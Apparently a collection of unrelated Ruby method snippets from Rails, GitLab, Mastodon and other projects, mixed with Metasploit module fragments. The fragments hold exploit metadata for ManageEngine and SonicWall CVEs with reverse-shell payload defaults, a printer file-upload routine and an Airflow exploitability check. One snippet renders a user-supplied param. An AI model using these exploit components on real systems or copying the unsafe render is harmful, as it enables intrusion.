def test_helpers_are_not_namespaced_when_engine_is_not_mountable
      build_engine
      Dir.chdir(engine_path) do
        bundled_rails("g helper topics")
        assert_file "app/helpers/topics_helper.rb", /module TopicsHelper/
        assert_no_file "app/helpers/foo_bar/topics_helper.rb"
      end
    end


def got_root?
    session.sys.config.getuid =~ /SYSTEM/ ? true : false
  end


def index
          render params[:view_method]
        end


def by_archived(groups)
    return groups if params[:archived].nil?

    params[:archived] ? groups.self_or_ancestors_archived : groups.self_and_ancestors_non_archived
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Desktop Central Java Deserialization',
        'Description' => %q{
          This module exploits a Java deserialization vulnerability in the
          getChartImage() method from the FileStorage class within ManageEngine
          Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.

          Quoting the vendor's advisory on fixed versions:

          "The short-term fix for the arbitrary file upload vulnerability was
          released in build 10.0.474 on January 20, 2020. In continuation of
          that, the complete fix for the remote code execution vulnerability is
          now available in build 10.0.479."
        },
        'Author' => [
          'mr_me', # Discovery and exploit
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-10189'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
          ['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
          ['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
          ['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
        ],
        'DisclosureDate' => '2020-03-05', # 0day release
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => :certutil, # This works without issue
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 60 # It can take a little while to trigger
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
          'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8383),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end


def module
    expect :result

    self[1]
  end


def perform_by_ids(snippet_ids)
        snippets = snippet_relation.where(id: snippet_ids)

        migrate_snippets(snippets)
      end


def run_host(ip)
    lpath = datastore["LPATH"]
    rpath = datastore["RPATH"]

    connect
    pjl = Rex::Proto::PJL::Client.new(sock)
    pjl.begin_job

    pjl.fsinit(rpath[0..1])

    if pjl.fsdownload(lpath, rpath)
      print_good("#{rhost}:#{rport} - Saved #{lpath} to #{rpath}")
    end

    pjl.end_job
    disconnect
  end


def routables
        return Project.all if current_user.can_admin_all_resources?

        current_user.projects
      end


def track_events_for(event_name, events, users, projects)
          events.each do |event|
            next if event.blank?

            user = users[event[:user_id]]
            project = projects[event[:project_id]]
            next if project.nil?

            additional_properties = {}
            if event_name.to_sym == :register_agent_at_kas
              additional_properties = {
                # built-in properties
                label: event[:agent_version],
                property: event[:architecture]
              }
              additional_properties[:value] = event[:agent_id] if event[:agent_id].present?

              # custom properties
              installation_method = event.dig(:extra_telemetry_data, :installation_method)
              helm_chart_version = event.dig(:extra_telemetry_data, :helm_chart_version)

              if event[:kubernetes_version].present?
                additional_properties[:kubernetes_version] = event[:kubernetes_version]
              end

              additional_properties[:installation_method] = installation_method if installation_method.present?
              additional_properties[:helm_chart_version] = helm_chart_version if helm_chart_version.present?
            end

            Gitlab::InternalEvents.track_event(event_name, additional_properties: additional_properties, user: user,
              project: project)
          end
        end


def unfollow_old_account!(old_target_account_id)
    old_target_account = Account.find(old_target_account_id)
    UnfollowService.new.call(@source_account, old_target_account, skip_unmerge: true)
  rescue
    true
  end


def validate_each(record, attribute, value)
    return if value.empty?

    @attribute = attribute
    @record = record

    value.each do |key, attribute_value|
      validate_keys(key, attribute_value)
    end
  end


def filename_from_opts(opts)
      is_match =
        OPTIONS.all? do |option|
          plural = :"#{option}s"
          next true if @allowed_values[plural] == nil # Allows any value
          next true if @allowed_values[plural].include?(opts[option]) # Value is allowed
        end
      is_match ? @canonical.call(opts) : nil
    end


def test_read_from_replicas
      @session_store[:last_write] = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session.convert_time_to_timestamp(Time.now - 5.seconds)

      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session)

      called = false
      resolver.read do
        called = true
        assert ActiveRecord::Base.connected_to?(role: :reading)
      end
      assert called
    end


def initialize(location_url)
        @location_url = location_url

        super("#{MSG_PREFIX} #{location_url}")
      end


def check_obsoletions
      @config_obsoletion.reject_obsolete!
      return unless @config_obsoletion.warnings.any?

      warn Rainbow("Warning: #{@config_obsoletion.warnings.join("\n")}").yellow
    end


def execute
        raise ExtractionError, 'Gem was not processed - package_file is not set' unless package_file
        return success if process_gem

        error('Gem was not processed')
      rescue ActiveRecord::StatementInvalid
        # TODO: We can remove this rescue block when we fix https://gitlab.com/gitlab-org/gitlab/-/issues/415899
        raise InvalidMetadataError, 'Invalid metadata'
      end


def channel_close(channel)
    ch_close = Version091::Frames::AmqpVersion091MethodFrame.new
    ch_close.header.frame_channel = channel.id
    ch_close.arguments = Version091::Frames::MethodArguments::AmqpVersion091ChannelClose.new
    send_frame(ch_close)
    resp = recv_frame

    unless is_method_frame?(resp, Version091::Frames::MethodArguments::AmqpVersion091ChannelCloseOk)
      raise Error::UnexpectedReplyError.new(resp)
    end

    @channels.delete(channel.id)
    nil
  end


def attach_file_to_message(message, type, filename, content_type)
      attachment = message.attachments.new(account_id: message.account_id, file_type: type)
      attachment.file.attach(io: Rails.root.join("spec/assets/#{filename}").open, filename: filename, content_type: content_type)
    end


def down
    with_lock_retries do
      remove_foreign_key_if_exists :duo_workflows_checkpoints, column: :namespace_id
    end
  end


def test_non_utf8_string_transcodes
    s = "二".encode("Shift_JIS")
    result = ActiveSupport::JSON.encode(s)
    assert_equal '"二"', result
    assert_equal Encoding::UTF_8, result.encoding
  end


def on_send(node)
          return unless (dispatch_node = dispatch_method(node))
          return unless (dot = dispatch_node.loc.dot)

          range = range_between(dot.begin_pos, dispatch_node.loc.selector.end_pos)

          add_offense(range) do |corrector|
            corrector.remove(range)
          end
        end


def polymorphic_url_for_action(action, record_or_hash, options)
          polymorphic_url(record_or_hash, options.merge(action: action))
        end


def attachment_with_hash
    attachments["invoice.jpg"] = { data: ::Base64.encode64("\312\213\254\232)b"),
                                   mime_type: "image/x-jpg",
                                   transfer_encoding: "base64" }
    mail
  end


def largest_fields
        field_sizes
            .sort_by { |a| a[1] }
            .reverse[0..::Packages::Npm::Metadatum::NUM_FIELDS_FOR_ERROR_TRACKING - 1]
            .to_h
      end


def initialize(limits)
      @render_length_limit = limits[:render_length_limit]
      @render_score_limit  = limits[:render_score_limit]
      @assign_score_limit  = limits[:assign_score_limit]
      reset
    end


def method_missing(sym, ...)
      case sym
      when /^log_(.*)/
        @history << $1
        nil
      when /^wrap_(.*)/
        @history << "wrap_#$1"
        yield
        @history << "unwrap_#$1"
        nil
      when /^double_(.*)/
        @history << "first_#$1"
        yield
        @history << "second_#$1"
        yield
        @history << "third_#$1"
      else
        super
      end
    end


def test_should_not_raise_error_if_token_is_not_a_string
    assert_blocked do
      patch :index, params: { custom_authenticity_token: 1 }, as: :json
    end
  end


def test_passing_precision_to_datetime_does_not_set_limit
      @connection.create_table(:foos, force: true) do |t|
        t.timestamps precision: 4
      end
      assert_nil Foo.columns_hash["created_at"].limit
      assert_nil Foo.columns_hash["updated_at"].limit
    end


def use_ssh_key(key)
        @ssh = Support::SSH.perform do |ssh|
          ssh.key = key
          ssh.uri = uri
          ssh.setup(env: env_vars)
          ssh
        end

        env_vars << %(GIT_SSH_COMMAND="ssh -i #{ssh.private_key_file.path} -o UserKnownHostsFile=#{ssh.known_hosts_file.path} -o IdentitiesOnly=yes")
      end


def test_mail_to_returns_html_safe_string
    assert_predicate mail_to("david@loudthinking.com"), :html_safe?
  end


def get_report(api_key, checksum)
    #
    # We have to use Net::HTTP instead of HttpClient because of the following error:
    # The supplied module name is ambiguous: undefined method `register_autofilter_ports'
    #
    url = URI.parse('https://www.virustotal.com/vtapi/v2/file/report')
    req = Net::HTTP::Post.new(url.path, { 'Host' => 'www.virustotal.com' })
    req.set_form_data({ 'apikey' => api_key, 'resource' => checksum })
    http = Net::HTTP.new(url.host, url.port)
    http.use_ssl = true
    res = http.start { |h| h.request(req) }

    unless res
      print_error("#{rhost} - Connection timed out")
      return ''
    end

    case res.code
    when 204
      print_error("#{rhost} - You have reached the request limit, please wait for one minute to try again")
      return ''
    when 403
      print_error("#{rhost} - No privilege to execute this request probably due to an invalye API key")
      return ''
    end

    body = ''
    begin
      body = JSON.parse(res.body)
    rescue JSON::ParserError
      print_error("#{rhost} - Unable to parse the response")
      return body
    end

    body
  end


def send_reaction_notification_without_delay(reaction, receiver)
      return if reaction.skip_notification_for?(receiver)
      return if UserBlock.blocking?(receiver, reaction.user_id)

      Notifications::NewReactionWorker.new.perform(*reaction_notification_attributes(reaction, receiver))
    end


def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove_or_create
    migration = "delete_books"
    run_generator [migration, "title:string", "content:text"]

    assert_migration "db/migrate/#{migration}.rb" do |content|
      assert_method :change, content do |change|
        assert_match(/^\s*$/, change)
      end
    end
  end


def error_params_missing
        error_response(s_('ServiceDesk|Parameters missing'))
      end


def check
    uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')
    vprint_status("Checking target web server for a response at: #{full_uri(uri)}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.code == 200 &&
           res.body.downcase.include?('admin') &&
           res.body.downcase.include?('_csrf_token') &&
           res.body.downcase.include?('sign in to airflow')
      return CheckCode::Unknown('Target is not running Apache Airflow.')
    end

    vprint_good('Target is running Apache Airflow.')

    vprint_status('Checking Apache Airflow version...')
    version_number = res.body.to_s.scan(
      %r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}
    ).flatten.first

    unless version_number
      return CheckCode::Detected('Apache Airflow version cannot be determined.')
    end

    unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')
      return CheckCode::Safe
    end

    vprint_status(
      "Target is running Apache Airflow Version #{version_number}. " \
      'Performing additional checks for exploitability...'
    )

    check_api
    check_task
    check_unpaused

    return CheckCode::Appears
  end


def current_ability
      @current_ability ||= Spree::Dependencies.ability_class.constantize.new(user, { store: store })
    end


def pending_content_type?
      return false unless OpenProject::Configuration.direct_uploads?

      model.content_type == OpenProject::ContentTypeDetector::SENSIBLE_DEFAULT
    end


def test_form_with_with_method
    form_with(model: @post, url: "/", method: :delete, id: "create-post") do |f|
      concat f.text_field(:title)
      concat f.textarea(:body)
      concat f.checkbox(:secret)
    end

    expected = whole_form("/", "create-post", method: "delete") do
      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
      "<textarea name='post[body]' id='post_body' >\nBack to the hill and over it again!</textarea>" \
      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />"
    end

    assert_dom_equal expected, @rendered
  end

<textarea name='post[body]' id='post_body' >
Back to the hill and over it again!</textarea>


def init_internals
        @readonly                 = false
        @previously_new_record    = false
        @destroyed                = false
        @marked_for_destruction   = false
        @destroyed_by_association = nil
        @_start_transaction_state = nil

        klass = self.class

        @primary_key         = klass.primary_key
        @strict_loading      = klass.strict_loading_by_default
        @strict_loading_mode = klass.strict_loading_mode

        klass.define_attribute_methods
      end


def paths_equal?(path1, path2)
      path1 = URI.parse(path1).path.chomp('/')
      path2 = URI.parse(path2).path.chomp('/')

      path1 == path2
    end


def allow_force_push?
          return false unless protected_branch.allow_force_pushes

          if protected_on_gitlab?
            ProtectedBranch.allow_force_push?(project, protected_branch.id)
          elsif default_branch?
            !default_branch_protection.any?
          else
            true
          end
        end


def test_any_region_holiday_next
    # Should return Victoria Day.
    holidays = Holidays.next_holidays(1, [:ca], Date.civil(2008,5,1))
    assert_equal 1, holidays.length
    assert_equal ['2008-07-01','Canada Day'] , [holidays.first[:date].to_s, holidays.first[:name].to_s]

    # Should return 2 holidays.
    holidays = Holidays.next_holidays(2, [:ca], Date.civil(2008,5,1))
    assert_equal 2, holidays.length

    # Should return 1 holiday in July
    holidays = Holidays.next_holidays(1, [:jp], Date.civil(2016, 5, 22))
    assert_equal ['2016-07-18','海の日'] , [holidays.first[:date].to_s, holidays.first[:name].to_s]

    # Must Region.If there is not region, raise ArgumentError.
    assert_raises ArgumentError do
      Holidays.next_holidays(2, '', Date.civil(2008,5,1))
    end
    # Options should be present.If they are empty, raise ArgumentError.
    assert_raises ArgumentError do
      Holidays.next_holidays(2, [], Date.civil(2008,5,1))
    end
    # Options should be Array.If they are not Array, raise ArgumentError.
    assert_raises ArgumentError do
      Holidays.next_holidays(2, :ca, Date.civil(2008,5,1))
    end
  end


def author_blocking_domain?
    return false if current_account.nil? || current_account.domain.nil?

    author.domain_blocking?(current_account.domain)
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability
          in the SonicWall SMA 100 series web interface. Exploitation results in
          command execution as root. The affected versions are:

          - 10.2.1.2-24sv and below
          - 10.2.0.8-37sv and below
          - 9.0.0.11-31sv and below
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-20039' ],
          [ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'],
          [ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis']
        ],
        'DisclosureDate' => '2021-12-14',
        'Platform' => ['linux'],
        'Arch' => [ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'echo', 'printf' ]
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'PrependFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']),
      OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']),
      OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice'])
    ])
  end


def hostnames
    @hostnames ||= networks.collect(&:hostname).compact.uniq
  end


def initialize(object, options = {})
    Discourse.deprecate("QueuedPostSerializer is deprecated.", drop_from: "3.3.0")
    super
  end


def parse_response_body(body)
    JSON.parse(body)
  rescue JSON::ParserError
    body
  end


def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'LDAP',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)
    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end


def down
    create_table :geo_reset_checksum_events do |t|
      t.integer :project_id, index: { name: 'index_geo_reset_checksum_events_on_project_id' }, null: false
    end
  end